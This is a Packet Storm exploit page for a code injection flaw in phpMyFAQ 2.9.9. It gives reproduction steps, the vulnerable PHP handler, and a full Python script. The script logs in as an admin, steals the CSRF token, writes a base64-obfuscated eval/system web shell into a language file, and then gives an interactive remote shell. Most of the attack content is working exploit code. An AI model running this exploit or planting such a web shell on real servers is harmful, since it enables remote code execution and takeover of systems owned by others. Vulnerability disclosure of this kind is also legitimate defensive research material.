Twenty Year Anniversary

phpMyFAQ 2.9.9 Code Injection

phpMyFAQ 2.9.9 Code Injection
Posted Nov 17, 2017
Authored by tomplixsee

phpMyFAQ version 2.9.9 suffers from an issue where an administrative account can execute arbitrary code on the server by modifying LANG_CONF[main.metaDescription].

tags | exploit, arbitrary
MD5 | 225232827b43d46c5d4a7742cbe2ff01

phpMyFAQ 2.9.9 Code Injection

Change Mirror Download
# Exploit Title: [PHPMYFAQ 2.9.9 Code Injection]
# Google Dork: [NA]
# Date: [Nov 6 2017]
# Exploit Author: [tomplixsee]
# Author blog : [cupuzone.wordpress.com]
# Vendor Homepage: [ http://www.phpmyfaq.de]
# Software Link: [http://download.phpmyfaq.de/phpMyFAQ-2.9.9.zip]
# Version: [2.9.9]
# Tested on: [Ubuntu Server 16.04, PHP 7.0.22]
# CVE : [NA]


How to reproduce
1. login to administrative page (example http://vbox-ubuntu-server.me/phpmyfaq/admin/ ) as an admin or any user with right access to edit translation
2. open page configuration->interface translation (assume you use english language). fyi, edit translations only active if folder phpmyfaq/lang is writable, so make sure the folder is writable
3. choose indonesia (or another language) to edit
4. choose page 14 (in example)
5. choose variable LANG_CONF[main.metaDescription]
6. set phpinfo() as value
7. change your languge to indonesia


vulnerable code
on file admin/ajax.trans.php

43 case 'save_page_buffer':
44 /*
45 * Build language variable definitions
46 * @todo Change input handling using PMF_Filter
47 */
48 foreach ((array) @$_POST['PMF_LANG'] as $key => $val) {
49 if (is_string($val)) {
50 $val = str_replace(array('\\\\', '\"', '\\\''), array('\\', '"', "'"), $val);
51 $val = str_replace("'", "\\'", $val);
52 $_SESSION['trans']['rightVarsOnly']["PMF_LANG[$key]"] = $val;
53 } elseif (is_array($val)) {
54 /*
55 * Here we deal with a two dimensional array
56 */
57 foreach ($val as $key2 => $val2) {
58 $val2 = str_replace(array('\\\\', '\"', '\\\''), array('\\', '"', "'"), $val2);
59 $val2 = str_replace("'", "\\'", $val2);
60 $_SESSION['trans']['rightVarsOnly']["PMF_LANG[$key][$key2]"] = $val2;
61 }
62 }
63 }
64
65 foreach ((array) @$_POST['LANG_CONF'] as $key => $val) {
66 // if string like array(blah-blah-blah), extract the contents inside the brackets
67 if (preg_match('/^\s*array\s*\(\s*(\d+.+)\s*\).*$/', $val, $matches1)) {
68 // split the resulting string of delimiters such as "number =>"
69 $valArr = preg_split(
70 '/\s*(\d+)\s*\=\>\s*/',
71 $matches1[1],
72 null,
73 PREG_SPLIT_DELIM_CAPTURE | PREG_SPLIT_NO_EMPTY
74 );
75 $numVal = count($valArr);
76 if ($numVal > 1) {
77 $newValArr = [];
78 for ($i = 0; $i < $numVal; $i += 2) {
79 if (is_numeric($valArr[$i])) {
80 // clearing quotes
81 if (preg_match('/^\s*\\\\*[\"|\'](.+)\\\\*[\"|\'][\s\,]*$/', $valArr[$i + 1], $matches2)) {
82 $subVal = $matches2[1];
83 // normalize quotes
84 $subVal = str_replace(array('\\\\', '\"', '\\\''), array('\\', '"', "'"), $subVal);
85 $subVal = str_replace("'", "\\'", $subVal);
86 // assembly of the original substring back
87 $newValArr[] = $valArr[$i].' => \''.$subVal.'\'';
88 }
89 }
90 }
91 $_SESSION['trans']['rightVarsOnly']["LANG_CONF[$key]"] = 'array('.implode(', ', $newValArr).')';
92 }
93 } else { // compatibility for old behavior
94 $val = str_replace(array('\\\\', '\"', '\\\''), array('\\', '"', "'"), $val);
95 $val = str_replace("'", "\\'", $val);
96 $_SESSION['trans']['rightVarsOnly']["LANG_CONF[$key]"] = $val;
97 }
98 }
99
100 echo 1;
101 break;
102
103 case 'save_translated_lang':
104
105 if (!$user->perm->checkRight($user->getUserId(), 'edittranslation')) {
106 echo $PMF_LANG['err_NotAuth'];
107 exit;
108 }
109
110 $lang = strtolower($_SESSION['trans']['rightVarsOnly']['PMF_LANG[metaLanguage]']);
111 $filename = PMF_ROOT_DIR.'/lang/language_'.$lang.'.php';
112
113 if (!is_writable(PMF_ROOT_DIR.'/lang')) {
114 echo 0;
115 exit;
116 }
117
118 if (!copy($filename, PMF_ROOT_DIR.'/lang/language_'.$lang.'.bak.php')) {
119 echo 0;
120 exit;
121 }
122
123 $newFileContents = '';
124 $tmpLines = [];
125
126 // Read in the head of the file we're writing to
127 $fh = fopen($filename, 'r');
128 do {
129 $line = fgets($fh);
130 array_push($tmpLines, rtrim($line));
131 } while ('*/' != substr(trim($line), -2));
132 fclose($fh);
133
134 // Construct lines with variable definitions
135 foreach ($_SESSION['trans']['rightVarsOnly'] as $key => $val) {
136 if (0 === strpos($key, 'PMF_LANG')) {
137 $val = "'$val'";
138 }
139 array_push($tmpLines, '$'.str_replace(array('[', ']'), array("['", "']"), $key)." = $val;");
140 }
141
142 $newFileContents .= implode("\n", $tmpLines);
143
144 unset($_SESSION['trans']);
145
146 $retval = file_put_contents($filename, $newFileContents);
147 echo intval($retval);
148 break;




the exploit
-----------------------------------------------------------------


#! /usr/bin/python
import sys, requests, argparse, readline

def main(argv):
global url, user, password
parser = argparse.ArgumentParser(description='PHPMYFAQ 2.9.9 Code Injection exploitation tool. author : tomplixsee')
parser.add_argument('-u','--url', help='target url',required=True)
parser.add_argument('-p','--password', help='password',required=True)
parser.add_argument('-s','--user', help='user',required=True)
args = parser.parse_args()

url = args.url
user = args.user
password = args.password

if __name__ == "__main__":
main(sys.argv[1:])

#get the cookie
def login():
global url, user, password,cookie
print "\033[1;33m>>>>>> logging in\033[1;m"
data = {"faqusername":user,"faqpassword":password}
headers = {
}
r = requests.post(url+"/admin/index.php", headers=headers, data=data)
if "dashboard" in r.text:
print "\033[1;32m>>>>>> login sucessful\033[1;m"
cookie = r.cookies["PHPSESSID"]
check()
else:
print "login failed"
sys.exit()

#check if user has access to edit translations.
#get the crsf token
def check():
global url,cookie, csrf
print "\033[1;33m>>>>>> check user auth\033[1;m"
headers = {
'Accept': '*/*',
"Cookie":"PHPSESSID="+cookie
}
r = requests.get(url+"/admin/index.php?action=transedit&translang=id", headers=headers)
if ("You are not authorized." not in r.text) or ("ajaxaction=save_translated_lang&csrf" in r.text):
print "\033[1;32m>>>>>> authorized\033[1;m"
else:
print "not authorized"
sys.exit()
#get csrf token
str_csrf = r.text.split("action=ajax&ajax=trans&ajaxaction=save_translated_lang&csrf=" )
csrf = str_csrf[1][0:40]
savebuffer()

#save payload to session
def savebuffer():
global url,cookie, csrf
print "\033[1;33m>>>>>> trying to fill the buffer\033[1;m"
headers = {
'Accept': '*/*',
"Cookie":"PHPSESSID="+cookie
}
data = {
"LANG_CONF[main.metaDescription]":'eval(base64_decode(\"c3lzdGVtKCRfUkVRVUVTVFtxXSk7IGlmKGlzc2V0KCRfUkVRVUVTVFttYXRpXSkpZGllOw==\"))'
}
r = requests.post(url+"/admin/index.php?action=ajax&ajax=trans&ajaxaction=save_page_buffer&csrf="+csrf, headers=headers, data=data)
if r.text=="1":
print "\033[1;32m>>>>>> success\033[1;m"
write2file()
else:
sys.exit()

#write payload to file
def write2file():
global url,cookie, csrf
print "\033[1;33m>>>>>> write payload to server\033[1;m"
headers = {
'Accept': '*/*',
"Cookie":"PHPSESSID="+cookie
}
data = {}
r = requests.post(url+"/admin/index.php?action=ajax&ajax=trans&ajaxaction=save_translated_lang&csrf="+csrf, headers=headers, data=data)
if r.text!="":
print "\033[1;32m>>>>>> success\033[1;m"
print "\033[1;32m>>>>>> enjoy your shell\033[1;m"
exploit('')
else:
sys.exit()

#send system command
def exploit(command):
global url,cookie
command = raw_input('\033[1;31mshell > \033[1;m')
if command == "exit":
print "goodbye"
sys.exit()

headers = {
'Accept': '*/*',
"Cookie":"PHPSESSID="+cookie
}
data = {"q":command,
"mati":"mati",
"language":"id"
}
r = requests.post(url+"/admin/index.php", headers=headers, data=data)
print r.text
exploit('')

login()

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

Want To Donate?


Bitcoin: 18PFeCVLwpmaBuQqd5xAYZ8bZdvbyEWMmU

File Archive:

July 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    1 Files
  • 2
    Jul 2nd
    26 Files
  • 3
    Jul 3rd
    15 Files
  • 4
    Jul 4th
    11 Files
  • 5
    Jul 5th
    13 Files
  • 6
    Jul 6th
    4 Files
  • 7
    Jul 7th
    4 Files
  • 8
    Jul 8th
    1 Files
  • 9
    Jul 9th
    16 Files
  • 10
    Jul 10th
    15 Files
  • 11
    Jul 11th
    32 Files
  • 12
    Jul 12th
    22 Files
  • 13
    Jul 13th
    15 Files
  • 14
    Jul 14th
    1 Files
  • 15
    Jul 15th
    1 Files
  • 16
    Jul 16th
    21 Files
  • 17
    Jul 17th
    15 Files
  • 18
    Jul 18th
    15 Files
  • 19
    Jul 19th
    17 Files
  • 20
    Jul 20th
    11 Files
  • 21
    Jul 21st
    1 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close